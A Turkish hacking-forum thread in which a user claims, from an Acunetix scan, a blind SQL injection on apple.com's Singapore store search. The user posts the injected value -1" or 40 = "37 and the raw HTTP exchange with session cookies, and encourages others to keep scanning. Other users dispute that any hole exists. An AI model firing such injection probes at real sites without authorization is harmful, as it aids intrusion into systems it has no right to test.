apple websitesi

arkadaşlar acunetixle buldugum bir açıktı sql ile tarama yapılmıştır eger tarama yaparsanız dahada bulabilirsiniz


https://www.apple.com/sg/shop/quest...Kindle app on the !_Pad?&tqid=-1" or 40 = "37

Burada bi açık yok ki ?

acunetix de blind sql olarak gösteriyor

Yok dostum
https://www.turkhackteam.org/web-se...acigi-nedir-nasil-kullanilir.html#post8835039
Şu konuya bi bak istersen.

detay
Attack details
URL encoded GET input tqid was set to -1" or 40 = "37

View HTTP headers
Request
GET /sg/shop/question/search/ipad?qt=Can%20I%20load%20the%20Kindle%20app%20on%20the%20!_Pad%3F&tqid=-1%22%20or%2040%20%3d%20%2237 HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: geo=TR; ccl=ebgotdCCvmPfFEnSZhj/PQ==; dssid2=21916f25-c626-4e80-8109-56fef8c7c14f; dssf=1; as_pcts=kkwXGoyRofRBloWXU+OBciu6kWiLD0-vQJ_X3dUBCSFi2RpPW:6Gyt0Wk1hdzaj4kp9_ADxXA5kmOmhv7GJ8dX8_NfNM; as_dc=nc; as_sfa="Mnx0aHx0aHx8dGhfVEh8Y29uc3VtZXJ8aW50ZXJuZXR8MHwwfDE="; as_xs=cr=&flc=; as_xsm=1&jy4dikiw/th&jy4dikiw/th&VSI43FU_V9Ictlay6BW4DQ; as_atb=1.0|MjAxOS0wNy0xNSAwMjowNDo0NQ|3470718bc8f09519de85f69951118185631833a4
Host: www.apple.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

Response
HTTP/1.1 200 OK
Server: Apple
Content-Type: text/html; encoding=UTF8;charset=UTF-8
Content-Length: 126576
Content-Security-Policy: frame-ancestors 'none'
ETag: "3b5dc26c572f3a39b9247eb17e02a6fe"
Last-Modified: Mon, 15 Jul 2019 09:11:45 GMT
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-ServerProcessingTime: 105
X-XSS-Protection: 1; mode=block
x-webobjects-servlet: YES
x-request-id: b01e31b9-b912-4eb7-8704-bd052fead351
x-shred: 6fbb09cb21700c483e203698956bc877
Cache-Control: private, no-cache, no-store, must-revalidate, proxy-revalidate, post-check=0, pre-check=0
Expires: Mon, 15 Jul 2019 09:11:45 GMT
Date: Mon, 15 Jul 2019 09:11:45 GMT
Connection: keep-alive
Vary: Accept-Encoding
Set-Cookie: dssid2=21916f25-c626-4e80-8109-56fef8c7c14f;Path=/;Domain=.apple.com;Expires=Thu, 12-Jul-2029 09:11:45 GMT;Max-Age=315360000;Secure;HttpOnly
Set-Cookie: dssf=1;Path=/;Domain=.apple.com;Expires=Thu, 12-Jul-2029 09:11:45 GMT;Max-Age=315360000;Secure;HttpOnly
Set-Cookie: as_dc=nc; version="1"; max-age=1800; expires=Mon, 15-Jul-2019 09:41:45 GMT; path=/; domain=.apple.com; secure

eger açık yoksa moderatör kapatır dostum

+++++

Şu konuya bi bak istersen belki yardımcı olur

https://www.turkhackteam.org/web-se...-injection-m3ta-rai-siber-guvenlik-ekibi.html